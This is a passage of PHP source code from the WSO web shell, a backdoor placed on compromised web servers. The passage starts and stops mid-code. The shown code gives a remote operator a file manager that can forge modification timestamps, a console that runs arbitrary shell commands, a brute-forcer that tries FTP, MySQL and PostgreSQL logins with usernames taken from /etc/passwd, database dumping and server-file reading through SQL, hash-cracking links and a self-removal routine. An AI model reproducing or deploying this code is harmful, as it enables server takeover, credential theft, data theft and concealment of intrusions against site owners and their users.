                                                    if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
                                                    elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                                                    elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
                                                }
                                                $GLOBALS['sort'] = $sort;
                                                function wsoCmp($a, $b) {
                                                    if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                    else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                }
                                                usort($files, "wsoCmp");
                                                usort($dirs, "wsoCmp");
                                                $files = array_merge($dirs, $files);
                                                $l = 0;
                                                foreach ($files as $f) {
                                                    echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g('FilesTools',null,'' . urlencode($f['name']) . '', 'view')">' . htmlspecialchars($f['name']) : 'g('FilesMan','' . $f['path'] . '');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g('FilesTools',null,'' . urlencode($f['name']) . '','chmod')">' . $f['perms'] . '</td><td><a href="#" onclick="g('FilesTools',null,'' . urlencode($f['name']) . '', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'' . urlencode($f['name']) . '', 'touch')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g('FilesTools',null,'' . urlencode($f['name']) . '', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'' . urlencode($f['name']) . '', 'download')">D</a>' : '') . '</td></tr>';
                                                    $l = $l ? 0 : 1;
                                                }
                                                echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
	<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
                                                if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
                                                echo "<option value='tar'>Compress (tar.gz)</option>";
                                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
                                                echo "</select>&nbsp;";
                                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
                                                echo "<input type='submit' value='>>'></td></tr></form></table></div>";
                                                wsoFooter();
                                            }
                                            function actionStringTools() {
                                                if (!function_exists('hex2bin')) {
                                                    function hex2bin($p) {
                                                        return decbin(hexdec($p));
                                                    }
                                                }
                                                if (!function_exists('binhex')) {
                                                    function binhex($p) {
                                                        return dechex(bindec($p));
                                                    }
                                                }
                                                if (!function_exists('hex2ascii')) {
                                                    function hex2ascii($p) {
                                                        $r = '';
                                                        for ($i = 0;$i < strLen($p);$i+= 2) {
                                                            $r.= chr(hexdec($p[$i] . $p[$i + 1]));
                                                        }
                                                        return $r;
                                                    }
                                                }
                                                if (!function_exists('ascii2hex')) {
                                                    function ascii2hex($p) {
                                                        $r = '';
                                                        for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
                                                        return strtoupper($r);
                                                    }
                                                }
                                                if (!function_exists('full_urlencode')) {
                                                    function full_urlencode($p) {
                                                        $r = '';
                                                        for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
                                                        return strtoupper($r);
                                                    }
                                                }
                                                $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
                                                if (isset($_POST['ajax'])) {
                                                    WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                    ob_start();
                                                    if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
                                                    $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "'") . "';";
                                                    echo strlen($temp), "", $temp;
                                                    exit;
                                                }
                                                if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                                wsoHeader();
                                                echo '<h1>String conversions</h1><div class=content>';
                                                echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
                                                foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
                                                echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
                                                if (!empty($_POST['p1'])) {
                                                    if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
                                                }
                                                echo "</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit="g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";
                                                function wsoRecursiveGlob($path) {
                                                    if (substr($path, -1) != '/') $path.= '/';
                                                    $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
                                                    if (is_array($paths) && @count($paths)) {
                                                        foreach ($paths as $item) {
                                                            if (@is_dir($item)) {
                                                                if ($path != $item) wsoRecursiveGlob($item);
                                                            } else {
                                                                if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g("FilesTools",null,"" . urlencode($item) . "", "view","")'>" . htmlspecialchars($item) . "</a><br>";
                                                            }
                                                        }
                                                    }
                                                }
                                                if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
                                                echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick="document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()"><br>
			<input type='button' value='md5.rednoize.com' onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
            <input type='button' value='crackfor.me' onclick="document.hf.action='http://crackfor.me/index.php';document.hf.submit()"><br>
		</form></div>";
                                                wsoFooter();
                                            }
                                            function actionFilesTools() {
                                                if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
                                                if (@$_POST['p2'] == 'download') {
                                                    if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                                                        ob_start("ob_gzhandler", 4096);
                                                        header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                                                        if (function_exists("mime_content_type")) {
                                                            $type = @mime_content_type($_POST['p1']);
                                                            header("Content-Type: " . $type);
                                                        } else header("Content-Type: application/octet-stream");
                                                        $fp = @fopen($_POST['p1'], "r");
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo @fread($fp, 1024);
                                                            fclose($fp);
                                                        }
                                                    }
                                                    exit;
                                                }
                                                if (@$_POST['p2'] == 'mkfile') {
                                                    if (!file_exists($_POST['p1'])) {
                                                        $fp = @fopen($_POST['p1'], 'w');
                                                        if ($fp) {
                                                            $_POST['p2'] = "edit";
                                                            fclose($fp);
                                                        }
                                                    }
                                                }
                                                wsoHeader();
                                                echo '<h1>File tools</h1><div class=content>';
                                                if (!file_exists(@$_POST['p1'])) {
                                                    echo 'File not exists';
                                                    wsoFooter();
                                                    return;
                                                }
                                                $uid = @posix_getpwuid(@fileowner($_POST['p1']));
                                                if (!$uid) {
                                                    $uid['name'] = @fileowner($_POST['p1']);
                                                    $gid['name'] = @filegroup($_POST['p1']);
                                                } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
                                                echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
                                                echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
                                                if (empty($_POST['p2'])) $_POST['p2'] = 'view';
                                                if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
                                                else $m = array('Chmod', 'Rename', 'Touch');
                                                foreach ($m as $v) echo '<a href=# onclick="g(null,null,'' . urlencode($_POST['p1']) . '','' . strtolower($v) . '')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
                                                echo '<br><br>';
                                                switch ($_POST['p2']) {
                                                    case 'view':
                                                        echo '<pre class=ml1>';
                                                        $fp = @fopen($_POST['p1'], 'r');
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo htmlspecialchars(@fread($fp, 1024));
                                                            @fclose($fp);
                                                        }
                                                        echo '</pre>';
                                                        break;
                                                    case 'highlight':
                                                        if (@is_readable($_POST['p1'])) {
                                                            echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                                                            $code = @highlight_file($_POST['p1'], true);
                                                            echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
                                                        }
                                                        break;
                                                    case 'chmod':
                                                        if (!empty($_POST['p3'])) {
                                                            $perms = 0;
                                                            for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
                                                            if ([email protected]($_POST['p1'], $perms)) echo 'Can't set permissions!<br><script>document.mf.p3.value="";</script>';
                                                        }
                                                        clearstatcache();
                                                        echo '<script>p3_="";</script><form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'edit':
                                                        if (!is_writable($_POST['p1'])) {
                                                            echo 'File isn't writeable';
                                                            break;
                                                        }
                                                        if (!empty($_POST['p3'])) {
                                                            $time = @filemtime($_POST['p1']);
                                                            $_POST['p3'] = substr($_POST['p3'], 1);
                                                            $fp = @fopen($_POST['p1'], "w");
                                                            if ($fp) {
                                                                @fwrite($fp, $_POST['p3']);
                                                                @fclose($fp);
                                                                echo 'Saved!<br><script>p3_="";</script>';
                                                                @touch($_POST['p1'], $time, $time);
                                                            }
                                                        }
                                                        echo '<form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,'1'+this.text.value);return false;"><textarea name=text class=bigarea>';
                                                        $fp = @fopen($_POST['p1'], 'r');
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo htmlspecialchars(@fread($fp, 1024));
                                                            @fclose($fp);
                                                        }
                                                        echo '</textarea><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'hexdump':
                                                        $c = @file_get_contents($_POST['p1']);
                                                        $n = 0;
                                                        $h = array('00000000<br>', '', '');
                                                        $len = strlen($c);
                                                        for ($i = 0;$i < $len;++$i) {
                                                            $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
                                                            switch (ord($c[$i])) {
                                                                case 0:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 9:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 10:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 13:
                                                                    $h[2].= ' ';
                                                                break;
                                                                default:
                                                                    $h[2].= $c[$i];
                                                                break;
                                                            }
                                                            $n++;
                                                            if ($n == 32) {
                                                                $n = 0;
                                                                if ($i + 1 < $len) {
                                                                    $h[0].= sprintf('%08X', $i + 1) . '<br>';
                                                                }
                                                                $h[1].= '<br>';
                                                                $h[2].= "
";
                                                            }
                                                        }
                                                        echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                                                        break;
                                                    case 'rename':
                                                        if (!empty($_POST['p3'])) {
                                                            if ([email protected]($_POST['p1'], $_POST['p3'])) echo 'Can't rename!<br>';
                                                            else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                                                        }
                                                        echo '<form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'touch':
                                                        if (!empty($_POST['p3'])) {
                                                            $time = strtotime($_POST['p3']);
                                                            if ($time) {
                                                                if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
                                                                else echo 'Touched!';
                                                            } else echo 'Bad time format!';
                                                        }
                                                        clearstatcache();
                                                        echo '<script>p3_="";</script><form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    }
                                                    echo '</div>';
                                                    wsoFooter();
                                                }
                                                function actionConsole() {
                                                    if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                                                        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                                                        $_POST['p1'].= ' 2>&1';
                                                    } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
                                                    if (isset($_POST['ajax'])) {
                                                        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                        ob_start();
                                                        echo "d.cf.cmd.value='';";
                                                        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("$ " . $_POST['p1'] . "" . wsoEx($_POST['p1']), "'"));
                                                        if (preg_match("!.*cds+([^;]+)$!", $_POST['p1'], $match)) {
                                                            if (@chdir($match[1])) {
                                                                $GLOBALS['cwd'] = @getcwd();
                                                                echo "c_='" . $GLOBALS['cwd'] . "';";
                                                            }
                                                        }
                                                        echo "d.cf.output.value+='" . $temp . "';";
                                                        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                                                        $temp = ob_get_clean();
                                                        echo strlen($temp), "", $temp;
                                                        exit;
                                                    }
                                                    if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                                    wsoHeader();
                                                    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
                                                    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;"><select name=alias>';
                                                    foreach ($GLOBALS['aliases'] as $n => $v) {
                                                        if ($v == '') {
                                                            echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                                                            continue;
                                                        }
                                                        echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
                                                    }
                                                    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
                                                    if (!empty($_POST['p1'])) {
                                                        echo htmlspecialchars("$ " . $_POST['p1'] . "" . wsoEx($_POST['p1']));
                                                    }
                                                    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
                                                    echo '</form></div><script>d.cf.cmd.focus();</script>';
                                                    wsoFooter();
                                                }
                                                function actionLogout() {
                                                    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
                                                    die('bye!');
                                                }
                                                function actionSelfRemove() {
                                                    if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!(d+)s.*!', '', __FILE__))) die('Shell has been removed');
                                                    else echo 'unlink error!';
                                                    if ($_POST['p1'] != 'yes') wsoHeader();
                                                    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,'yes')">Yes</a></div>';
                                                    wsoFooter();
                                                }
                                                function actionBruteforce() {
                                                    wsoHeader();
                                                    if (isset($_POST['proto'])) {
                                                        echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
                                                        if ($_POST['proto'] == 'ftp') {
                                                            function wsoBruteForce($ip, $port, $login, $pass) {
                                                                $fp = @ftp_connect($ip, $port ? $port : 21);
                                                                if (!$fp) return false;
                                                                $res = @ftp_login($fp, $login, $pass);
                                                                @ftp_close($fp);
                                                                return $res;
                                                            }
                                                        } elseif ($_POST['proto'] == 'mysql') {
                                                            function wsoBruteForce($ip, $port, $login, $pass) {
                                                                $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                                                                @mysql_close($res);
                                                                return $res;
                                                            }
                                                        } elseif ($_POST['proto'] == 'pgsql') {
                                                            function wsoBruteForce($ip, $port, $login, $pass) {
                                                                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                                                                $res = @pg_connect($str);
                                                                @pg_close($res);
                                                                return $res;
                                                            }
                                                        }
                                                        $success = 0;
                                                        $attempts = 0;
                                                        $server = explode(":", $_POST['server']);
                                                        if ($_POST['type'] == 1) {
                                                            $temp = @file('/etc/passwd');
                                                            if (is_array($temp)) foreach ($temp as $line) {
                                                                $line = explode(":", $line);
                                                                ++$attempts;
                                                                if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                                                                    $success++;
                                                                    echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                                                                }
                                                                if (@$_POST['reverse']) {
                                                                    $tmp = "";
                                                                    for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
                                                                    ++$attempts;
                                                                    if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                                                        $success++;
                                                                        echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                                                                    }
                                                                }
                                                            }
                                                        } elseif ($_POST['type'] == 2) {
                                                            $temp = @file($_POST['dict']);
                                                            if (is_array($temp)) foreach ($temp as $line) {
                                                                $line = trim($line);
                                                                ++$attempts;
                                                                if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                                                                    $success++;
                                                                    echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                                                                }
                                                            }
                                                        }
                                                        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
                                                    }
                                                    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
                                                    echo '</div><br>';
                                                    wsoFooter();
                                                }
                                                function actionSql() {
                                                    class DbClass {
                                                        var $type;
                                                        var $link;
                                                        var $res;
                                                        function DbClass($type) {
                                                            $this->type = $type;
                                                        }
                                                        function connect($host, $user, $pass, $dbname) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
                                                                    break;
                                                                case 'pgsql':
                                                                    $host = explode(':', $host);
                                                                    if (!$host[1]) $host[1] = 5432;
                                                                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function selectdb($db) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        if (@mysql_select_db($db)) return true;
                                                                        break;
                                                                    }
                                                                    return false;
                                                            }
                                                            function query($str) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->res = @mysql_query($str);
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = @pg_query($this->link, $str);
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function fetch() {
                                                                $res = func_num_args() ? func_get_arg(0) : $this->res;
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return @mysql_fetch_assoc($res);
                                                                    break;
                                                                    case 'pgsql':
                                                                        return @pg_fetch_assoc($res);
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function listDbs() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->query("SHOW databases");
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function listTables() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->res = $this->query('SHOW TABLES');
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function error() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return @mysql_error();
                                                                    break;
                                                                    case 'pgsql':
                                                                        return @pg_last_error();
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function setCharset($str) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
                                                                        else $this->query('SET CHARSET ' . $str);
                                                                        break;
                                                                    case 'pgsql':
                                                                        return @pg_set_client_encoding($this->link, $str);
                                                                        break;
                                                                    }
                                                                    return false;
                                                                }
                                                                function loadFile($str) {
                                                                    switch ($this->type) {
                                                                        case 'mysql':
                                                                            return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                                                                        break;
                                                                        case 'pgsql':
                                                                            $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
                                                                            $r = array();
                                                                            while ($i = $this->fetch()) $r[] = $i['file'];
                                                                            $this->query('drop table wso2');
                                                                            return array('file' => implode("
", $r));
                                                                            break;
                                                                        }
                                                                        return false;
                                                                }
                                                                function dump($table, $fp = false) {
                                                                    switch ($this->type) {
                                                                        case 'mysql':
                                                                            $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                                                                            $create = mysql_fetch_array($res);
                                                                            $sql = $create[1] . ";
";
                                                                            if ($fp) fwrite($fp, $sql);
                                                                            else echo ($sql);
                                                                            $this->query('SELECT * FROM `' . $table . '`');
                                                                            $i = 0;
                                                                            $head = true;
                                                                            while ($item = $this->fetch()) {
                                                                                $sql = '';
                                                                                if ($i % 1000 == 0) {
                                                                                    $head = true;
                                                                                    $sql = ";

";
                                                                                }
                                                                                $columns = array();
                                                                                foreach ($item as $k => $v) {
                                                                                    if ($v === null) $item[$k] = "NULL";
                                                                                    elseif (is_int($v)) $item[$k] = $v;
                                                                                    else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                                                                    $columns[] = "`" . $k . "`";
                                                                                }
                                                                                if ($head) {
                                                                                    $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $item) . ')';
                                                                                    $head = false;
                                                                                } else $sql.= "
	,(" . implode(", ", $item) . ')';
                                                                                if ($fp) fwrite($fp, $sql);
                                                                                else echo ($sql);
                                                                                $i++;
                                                                            }
                                                                            if (!$head) if ($fp) fwrite($fp, ";

");
                                                                            else echo (";

");
                                                                            break;
                                                                        case 'pgsql':
                                                                            $this->query('SELECT * FROM ' . $table);
                                                                            while ($item = $this->fetch()) {
                                                                                $columns = array();
                                                                                foreach ($item as $k => $v) {
                                                                                    $item[$k] = "'" . addslashes($v) . "'";
                                                                                    $columns[] = $k;
                                                                                }
                                                                                $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
";
                                                                                if ($fp) fwrite($fp, $sql);
                                                                                else echo ($sql);
                                                                            }
                                                                            break;
                                                                        }
                                                                        return false;
                                                                    }
                                                                };
                                                                $db = new DbClass($_POST['type']);
                                                                if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
                                                                    $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
                                                                    $db->selectdb($_POST['sql_base']);
                                                                    switch ($_POST['charset']) {
                                                                        case "Windows-1251":
                                                                            $db->setCharset('cp1251');
                                                                        break;
                                                                        case "UTF-8":
                                                                            $db->setCharset('utf8');
                                                                        break;
                                                                        case "KOI8-R":
                                                                            $db->setCharset('koi8r');
                                                                        break;
                                                                        case "KOI8-U":
                                                                            $db->setCharset('koi8u');
                                                                        break;
                                                                        case "cp866":
                                                                            $db->setCharset('cp866');
                                                                        break;
                                                                    }
                                                                    if (empty($_POST['file'])) {
                                                                        ob_start("ob_gzhandler", 4096);
                                                                        header("Content-Disposition: attachment; filename=dump.sql");
                                                                        header("Content-Type: text/plain");
